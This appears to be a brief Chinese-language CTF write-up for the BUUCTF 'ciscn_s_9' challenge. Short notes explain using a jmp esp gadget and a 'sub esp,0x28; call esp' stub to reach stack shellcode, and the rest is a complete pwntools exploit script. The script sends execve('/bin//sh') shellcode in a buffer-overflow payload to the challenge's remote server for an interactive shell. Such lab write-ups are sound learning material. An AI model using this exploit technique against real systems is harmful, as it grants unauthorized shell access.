image.png
    这种保护,shellcode
    看了一样缓冲区,看来要自己写shellcode了
    shellcode往哪里写一直是一个问题,我们得往可以写的地方写,就是有地址而且可以执行
    image.png
    ida有jmp esp这句话可以作为return address所以就往那里读shellcode
    为什么后面还有sub esp,0x28;call esp
    因为前面子函数调用完毕回收一部分栈帧,栈顶往上顶了一部分

    1. from pwn import *
    2. from LibcSearcher import*
    3. context(log_level = 'debug')
    4. #io =process('./ciscn_s_9')
    5. io = remote("node4.buuoj.cn",26971)
    6. #context.arch = "amd64"
    7. elf =ELF('./ciscn_s_9')
    8. jmp_esp = 0x08048554
    9. shellcode = """
    10. xor eax,eax
    11. xor edx,edx
    12. push edx
    13. push 0x68732f2f
    14. push 0x6e69622f
    15. mov ebx,esp
    16. xor ecx,ecx
    17. mov al,0xb
    18. int 0x80
    19. """
    20. shellcode=asm(shellcode)
    21. payload = shellcode.ljust(0x24,'a')+p32(jmp_esp)+asm('sub esp,0x28;call esp')
    22. io.sendline(payload)
    23. io.interactive()